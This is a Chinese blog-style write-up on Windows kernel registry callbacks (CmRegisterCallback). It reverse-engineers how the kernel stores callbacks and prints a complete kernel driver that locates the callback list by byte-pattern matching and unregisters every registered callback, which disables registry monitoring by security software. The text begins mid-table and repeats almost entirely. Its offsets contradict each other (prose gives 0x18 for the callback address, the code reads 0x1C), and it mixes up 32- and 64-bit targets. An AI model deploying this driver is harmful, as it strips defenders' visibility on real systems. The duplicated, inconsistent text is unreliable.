Context 配置管理器将作为CallbackContext参数传递给RegistryCallback例程中由驱动程序定义的值。此处设为NULL就好
Cookie 指向LARGE_INTEGER变量的指针,该变量接收标识回调例程的值。当注册回调例程的时候,次值将作为Cookie参数传递给CmUnRegisterCallback

其中第一个参数指向的类型是PEX_CALLBACK_FUNCTION,该类型是一个回调函数。

1
2
3
4
5
6
7
8
EX_CALLBACK_FUNCTION ExCallbackFunction;

NTSTATUS ExCallbackFunction(
[in] PVOID CallbackContext,
[in, optional] PVOID Argument1,
[in, optional] PVOID Argument2
)
{...}

参数如下

参数 说明
CallbackContext 在注册该RegistryCallback例程时,驱动程序作为Context参数传递给CmRegisterCallback的值
Argument1 REG_NOTIFY_CLASS联合体类型的值,用于标识正在执行的注册表的操作类型,以及是否在执行注册表操作之前或之后调用RegistryCallback例程
Argument2 指向特定于注册表操作信息的结构指针。结构的类型取决于Argument1中的REG_NOTIFY_CLASS类型值

REG_NOTIFY_CLASS结构中其中的几个比较常用的类型,它们的意义,以及对应的Argument2的结构体的内容如下

REG_NOTIFY_CLASS的值 意义 Argument2结构体
RegNtPreCreateKey 创建注册表 PREG_CREATE_KEY_INFORMATION
RegNtPreOpenKey 打开注册表 PREG_CREATE_KEY_INFORMATION
RegNtPreDeleteKey 删除键 PREG_DELETE_KEY_INFORMATION
RegNtPreDeleteValueKey 删除键值 PREG_DELETE_VALUE_KEY_INFORMATION
RegNtPreSetValueKey 修改键值 PREG_SET_VALUE_KEY_INFORMATION

关注一下这几个结构体,其中PREG_CREATE_KEY_INFORMATION就是有两个关键成员

成员 含义
CompleteName 指向包含新注册表项路径的UNICODE_字符串结构的指针。路径可以是绝对的,也可以是相对的。如果路径是绝对路径,则此结构包含以“\”字符开头的完全限定路径。对于绝对路径,RootObject成员指定\注册表项,它是注册表树的根目录。如果路径是相对的,则路径以“\”以外的字符开头,并且与RootObject成员指定的键相对
RootObject 指向注册表项对象的指针,该对象用作CompleteName成员指定的路径的根

然后关于PREG_DELETE_KEY_INFORMATION的结构体定义如下,Object参数指向要删除注册表的指针

1
2
3
4
5
6
typedef struct _REG_DELETE_KEY_INFORMATION {
PVOID Object; // IN
PVOID CallContext;
PVOID ObjectContext;
PVOID Reserved;
} REG_DELETE_KEY_INFORMATION, *PREG_DELETE_KEY_INFORMATION

然后PREG_DELETE_VALUE_KEY_INFORMATION结构体定义如下,Object还是指向要删除的注册表的指针,而ValueName就是指向具体需要删除的值

1
2
3
4
5
6
7
typedef struct _REG_DELETE_VALUE_KEY_INFORMATION {
PVOID Object;
PUNICODE_STRING ValueName;
PVOID CallContext;
PVOID ObjectContext;
PVOID Reserved;
} REG_DELETE_VALUE_KEY_INFORMATION, *PREG_DELETE_VALUE_KEY_INFORMATION;

最后是PREG_SET_VALUE_KEY_INFORMATION结构,同样是Object指向要修改的注册表的指针,而ValueName就是指向具体需要修改的值。

IDA逆向分析

这个函数首先将需要的参数入栈以后调用CmpRegisterCallbackInternal

image-20220630164456292

通过test esi,esiBlinkFlink都指向自己,然后进行判断后跳转到69436B这个地址

image-20220630164913636

image-20220630165633538

这段函数的主要作用就是将Cookie的值存入0x10偏移处,这里的设计很巧妙,因为一个cookie是占8位的,这里首先将[esi + 0x10]的值存入eax,然后将 ebx 指向的内存位置的内容移动到指向 eax 的内存位置,相当于赋值前4位,然后再进行同样的操作,这里取的是[esi + 0x14],也就是赋值后四位。

image-20220630171826957

可以看到,系统分配0x30大小的内存来保存相应的内容,根据以上的分析可以得出下面的结论

  • 最开始的8个字节保存的是一个LIST_ENTRY类型的双向链表
  • 偏移0x10保存的是COOKIE
  • 偏移0x1C保存的Context
  • 偏移0x18保存的是回调函数的地址

可以想到注册表监控的回调函数是用LIST_ENTRY双向链表来一个个连起来的。而真正将分配的这块内存加入链表的函数则是SetRegisterCallback函数

image-20220630173058237

在这个ListBegin就是链表头的地址,里面保存的就是第一个链表的地址。首先会将它保存的内容取出判断保存的是否就是ListBegin的首地址,如果是的话就说明到了链表的尾部,接下来就会跳转到loc_695306来把结构加进链表。如果不是的话,它会执行循环,不断的取链表中的下一个数据直到链表尾。

​ ——————————————-我是一条分割线—————————————————————

根据上面的内容知道了,回调函数是可以获取要操作的注册表键的对象的,所以可以使用ObQueryNameString函数来获得要操作的键的名称,该函数在文档中的定义如下

1
2
3
4
5
6
7
NTSTATUS
ObQueryNameString(
IN PVOID Object,
OUT POBJECT_NAME_INFORMATION ObjectNameInfo,
IN ULONG Length,
OUT PULONG ReturnLength
);
参数 含义
Object 指向请求名称的对象的指针。此参数是必需的,不能为NULL。
ObjectNameInfo 指向接收对象名称信息的调用方分配的缓冲区的OBJECT_NAME_INFORMATION指针
Length 参数二的缓冲区大小
ReturnLength 实际返回到缓冲区中的数据大小

想要实现对监控函数的删除,可以使用CmUnRegisterCallback函数来实现,该函数在文档中的定义如下。它只有一个参数,就是前面设置监控函数时候指定的Cookie的地址。

1
2
3
NTSTATUS
CmUnRegisterCallback(
IN LARGE_INTEGER Cookie);

实施监控

注册表的监控回调函数被以链表的形式保存到了内存中,其中这个链表头是ListBegin。接下来只要找到这个链表头并且遍历这个链表,取出COOKIE就可以实现回调函数的删除。通过字节码匹配可以找到链表头。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#include <ntifs.h>

VOID DriverUnload(IN PDRIVER_OBJECT driverObject);
PULONG GetRegisterList();

NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath)
{
NTSTATUS status = STATUS_SUCCESS;
PULONG pHead = NULL;
PLIST_ENTRY pListEntry = NULL;
PLARGE_INTEGER pLiRegCookie = NULL;
LARGE_INTEGER test;
PULONG pFuncAddr = NULL;

DbgPrint("驱动加载完成\r\n");
pHead = GetRegisterList();
if (pHead != NULL)
{
pListEntry = (PLIST_ENTRY)*pHead;

while ((ULONG)pListEntry != (ULONG)pHead)
{
if (!MmIsAddressValid(pListEntry)) break;

pLiRegCookie = (PLARGE_INTEGER)((ULONG)pListEntry + 0x10);
pFuncAddr = (PULONG)((ULONG)pListEntry + 0x1C);
//判断地址是否有效
if (MmIsAddressValid(pFuncAddr) && MmIsAddressValid(pLiRegCookie))
{
status = CmUnRegisterCallback(*pLiRegCookie);
if (NT_SUCCESS(status))
{
DbgPrint("删除注册表回调成功,函数地址为0x%X\r\n", *pFuncAddr);
}
}
pListEntry = pListEntry->Flink;
}
}

exit:
driverObject->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}

PULONG GetRegisterList()
{
PULONG pListEntry = NULL;
PUCHAR pCmRegFunc = NULL, pCmcRegFunc = NULL, pSetRegFunc = NULL;
UNICODE_STRING uStrFuncName = RTL_CONSTANT_STRING(L"CmRegisterCallback");

pCmRegFunc = (PUCHAR)MmGetSystemRoutineAddress(&uStrFuncName);

if (pCmRegFunc == NULL)
{
DbgPrint("MmGetSystemRoutineAddress Error\r\n");
goto exit;
}

while (*pCmRegFunc != 0xC2)
{
if (*pCmRegFunc == 0xE8)
{
pCmcRegFunc = (PUCHAR)((ULONG)pCmRegFunc + 5 + *(PULONG)(pCmRegFunc + 1));
break;
}
pCmRegFunc++;
}

if (pCmcRegFunc == NULL)
{
DbgPrint("GetCmcRegFunc Error\r\n");
goto exit;
}

while (*pCmcRegFunc != 0xC2)
{
if (*pCmcRegFunc == 0x8B && *(pCmcRegFunc +1) == 0xC6 && *(pCmcRegFunc + 2) == 0xE8)
{
pSetRegFunc = (PUCHAR)((ULONG)pCmcRegFunc + 2 + 5 + *(PULONG)(pCmcRegFunc + 3));
break;
}
pCmcRegFunc++;
}

if (pSetRegFunc == NULL)
{
DbgPrint("GetSetRegFunc Error\r\n");
goto exit;
}

while (*pSetRegFunc != 0xC2)
{
if (*pSetRegFunc == 0xBB)
{
pListEntry = (PULONG)*(PULONG)(pSetRegFunc + 1);
break;
}
pSetRegFunc++;
}
exit:
return pListEntry;
}

VOID DriverUnload(IN PDRIVER_OBJECT driverObject)
{
DbgPrint("驱动卸载完成\r\n");
}

参考链接:看雪跳跳糖

(PS:前面虽然说是64位,但是我发现参考的文章其实IDA分析的都是32位的ntoskrnl.exe)

CmRegisterCallback

64位系统下微软提供了CmRegisterCallback这个回调函数来实时监控注册表的操作,那详细探究一下其实现的原理。

1
2
3
4
5
NTSTATUS CmRegisterCallback(
[in] PEX_CALLBACK_FUNCTION Function,
[in, optional] PVOID Context,
[out] PLARGE_INTEGER Cookie
);

上面为其结构,详细参数如下:

参数 说明
Function 指向RegistryCallback例程的指针,这个参数就是用来监控注册表操作的回调函数
Context 配置管理器将作为CallbackContext参数传递给RegistryCallback例程中由驱动程序定义的值。此处设为NULL就好
Cookie 指向LARGE_INTEGER变量的指针,该变量接收标识回调例程的值。当注册回调例程的时候,次值将作为Cookie参数传递给CmUnRegisterCallback

其中第一个参数指向的类型是PEX_CALLBACK_FUNCTION,该类型是一个回调函数。

1
2
3
4
5
6
7
8
EX_CALLBACK_FUNCTION ExCallbackFunction;

NTSTATUS ExCallbackFunction(
[in] PVOID CallbackContext,
[in, optional] PVOID Argument1,
[in, optional] PVOID Argument2
)
{...}

参数如下

参数 说明
CallbackContext 在注册该RegistryCallback例程时,驱动程序作为Context参数传递给CmRegisterCallback的值
Argument1 REG_NOTIFY_CLASS联合体类型的值,用于标识正在执行的注册表的操作类型,以及是否在执行注册表操作之前或之后调用RegistryCallback例程
Argument2 指向特定于注册表操作信息的结构指针。结构的类型取决于Argument1中的REG_NOTIFY_CLASS类型值

REG_NOTIFY_CLASS结构中其中的几个比较常用的类型,它们的意义,以及对应的Argument2的结构体的内容如下

REG_NOTIFY_CLASS的值 意义 Argument2结构体
RegNtPreCreateKey 创建注册表 PREG_CREATE_KEY_INFORMATION
RegNtPreOpenKey 打开注册表 PREG_CREATE_KEY_INFORMATION
RegNtPreDeleteKey 删除键 PREG_DELETE_KEY_INFORMATION
RegNtPreDeleteValueKey 删除键值 PREG_DELETE_VALUE_KEY_INFORMATION
RegNtPreSetValueKey 修改键值 PREG_SET_VALUE_KEY_INFORMATION

关注一下这几个结构体,其中PREG_CREATE_KEY_INFORMATION就是有两个关键成员

成员 含义
CompleteName 指向包含新注册表项路径的UNICODE_字符串结构的指针。路径可以是绝对的,也可以是相对的。如果路径是绝对路径,则此结构包含以“\”字符开头的完全限定路径。对于绝对路径,RootObject成员指定\注册表项,它是注册表树的根目录。如果路径是相对的,则路径以“\”以外的字符开头,并且与RootObject成员指定的键相对
RootObject 指向注册表项对象的指针,该对象用作CompleteName成员指定的路径的根

然后关于PREG_DELETE_KEY_INFORMATION的结构体定义如下,Object参数指向要删除注册表的指针

1
2
3
4
5
6
typedef struct _REG_DELETE_KEY_INFORMATION {
PVOID Object; // IN
PVOID CallContext;
PVOID ObjectContext;
PVOID Reserved;
} REG_DELETE_KEY_INFORMATION, *PREG_DELETE_KEY_INFORMATION

然后PREG_DELETE_VALUE_KEY_INFORMATION结构体定义如下,Object还是指向要删除的注册表的指针,而ValueName就是指向具体需要删除的值

1
2
3
4
5
6
7
typedef struct _REG_DELETE_VALUE_KEY_INFORMATION {
PVOID Object;
PUNICODE_STRING ValueName;
PVOID CallContext;
PVOID ObjectContext;
PVOID Reserved;
} REG_DELETE_VALUE_KEY_INFORMATION, *PREG_DELETE_VALUE_KEY_INFORMATION;

最后是PREG_SET_VALUE_KEY_INFORMATION结构,同样是Object指向要修改的注册表的指针,而ValueName就是指向具体需要修改的值。

IDA逆向分析

这个函数首先将需要的参数入栈以后调用CmpRegisterCallbackInternal

image-20220630164456292

通过test esi,esiBlinkFlink都指向自己,然后进行判断后跳转到69436B这个地址

image-20220630164913636

image-20220630165633538

这段函数的主要作用就是将Cookie的值存入0x10偏移处,这里的设计很巧妙,因为一个cookie是占8位的,这里首先将[esi + 0x10]的值存入eax,然后将 ebx 指向的内存位置的内容移动到指向 eax 的内存位置,相当于赋值前4位,然后再进行同样的操作,这里取的是[esi + 0x14],也就是赋值后四位。

image-20220630171826957

可以看到,系统分配0x30大小的内存来保存相应的内容,根据以上的分析可以得出下面的结论

  • 最开始的8个字节保存的是一个LIST_ENTRY类型的双向链表
  • 偏移0x10保存的是COOKIE
  • 偏移0x1C保存的Context
  • 偏移0x18保存的是回调函数的地址

可以想到注册表监控的回调函数是用LIST_ENTRY双向链表来一个个连起来的。而真正将分配的这块内存加入链表的函数则是SetRegisterCallback函数

image-20220630173058237

在这个ListBegin就是链表头的地址,里面保存的就是第一个链表的地址。首先会将它保存的内容取出判断保存的是否就是ListBegin的首地址,如果是的话就说明到了链表的尾部,接下来就会跳转到loc_695306来把结构加进链表。如果不是的话,它会执行循环,不断的取链表中的下一个数据直到链表尾。

​ ——————————————-我是一条分割线—————————————————————

根据上面的内容知道了,回调函数是可以获取要操作的注册表键的对象的,所以可以使用ObQueryNameString函数来获得要操作的键的名称,该函数在文档中的定义如下

1
2
3
4
5
6
7
NTSTATUS
ObQueryNameString(
IN PVOID Object,
OUT POBJECT_NAME_INFORMATION ObjectNameInfo,
IN ULONG Length,
OUT PULONG ReturnLength
);
参数 含义
Object 指向请求名称的对象的指针。此参数是必需的,不能为NULL。
ObjectNameInfo 指向接收对象名称信息的调用方分配的缓冲区的OBJECT_NAME_INFORMATION指针
Length 参数二的缓冲区大小
ReturnLength 实际返回到缓冲区中的数据大小

想要实现对监控函数的删除,可以使用CmUnRegisterCallback函数来实现,该函数在文档中的定义如下。它只有一个参数,就是前面设置监控函数时候指定的Cookie的地址。

1
2
3
NTSTATUS
CmUnRegisterCallback(
IN LARGE_INTEGER Cookie);

实施监控

注册表的监控回调函数被以链表的形式保存到了内存中,其中这个链表头是ListBegin。接下来只要找到这个链表头并且遍历这个链表,取出COOKIE就可以实现回调函数的删除。通过字节码匹配可以找到链表头。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#include <ntifs.h>

VOID DriverUnload(IN PDRIVER_OBJECT driverObject);
PULONG GetRegisterList();

NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath)
{
NTSTATUS status = STATUS_SUCCESS;
PULONG pHead = NULL;
PLIST_ENTRY pListEntry = NULL;
PLARGE_INTEGER pLiRegCookie = NULL;
LARGE_INTEGER test;
PULONG pFuncAddr = NULL;

DbgPrint("驱动加载完成\r\n");
pHead = GetRegisterList();
if (pHead != NULL)
{
pListEntry = (PLIST_ENTRY)*pHead;

while ((ULONG)pListEntry != (ULONG)pHead)
{
if (!MmIsAddressValid(pListEntry)) break;

pLiRegCookie = (PLARGE_INTEGER)((ULONG)pListEntry + 0x10);
pFuncAddr = (PULONG)((ULONG)pListEntry + 0x1C);
//判断地址是否有效
if (MmIsAddressValid(pFuncAddr) && MmIsAddressValid(pLiRegCookie))
{
status = CmUnRegisterCallback(*pLiRegCookie);
if (NT_SUCCESS(status))
{
DbgPrint("删除注册表回调成功,函数地址为0x%X\r\n", *pFuncAddr);
}
}
pListEntry = pListEntry->Flink;
}
}

exit:
driverObject->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}

PULONG GetRegisterList()
{
PULONG pListEntry = NULL;
PUCHAR pCmRegFunc = NULL, pCmcRegFunc = NULL, pSetRegFunc = NULL;
UNICODE_STRING uStrFuncName = RTL_CONSTANT_STRING(L"CmRegisterCallback");

pCmRegFunc = (PUCHAR)MmGetSystemRoutineAddress(&uStrFuncName);

if (pCmRegFunc == NULL)
{
DbgPrint("MmGetSystemRoutineAddress Error\r\n");
goto exit;
}

while (*pCmRegFunc != 0xC2)
{
if (*pCmRegFunc == 0xE8)
{
pCmcRegFunc = (PUCHAR)((ULONG)pCmRegFunc + 5 + *(PULONG)(pCmRegFunc + 1));
break;
}
pCmRegFunc++;
}

if (pCmcRegFunc == NULL)
{
DbgPrint("GetCmcRegFunc Error\r\n");
goto exit;
}

while (*pCmcRegFunc != 0xC2)
{
if (*pCmcRegFunc == 0x8B && *(pCmcRegFunc +1) == 0xC6 && *(pCmcRegFunc + 2) == 0xE8)
{
pSetRegFunc = (PUCHAR)((ULONG)pCmcRegFunc + 2 + 5 + *(PULONG)(pCmcRegFunc + 3));
break;
}
pCmcRegFunc++;
}

if (pSetRegFunc == NULL)
{
DbgPrint("GetSetRegFunc Error\r\n");
goto exit;
}

while (*pSetRegFunc != 0xC2)
{
if (*pSetRegFunc == 0xBB)
{
pListEntry = (PULONG)*(PULONG)(pSetRegFunc + 1);
break;
}
pSetRegFunc++;
}
exit:
return pListEntry;
}

VOID DriverUnload(IN PDRIVER_OBJECT driverObject)
{
DbgPrint("驱动卸载完成\r\n");
}

参考链接:看雪跳跳糖

(PS:前面虽然说是64位,但是我发现参考的文章其实IDA分析的都是32位的ntoskrnl.exe)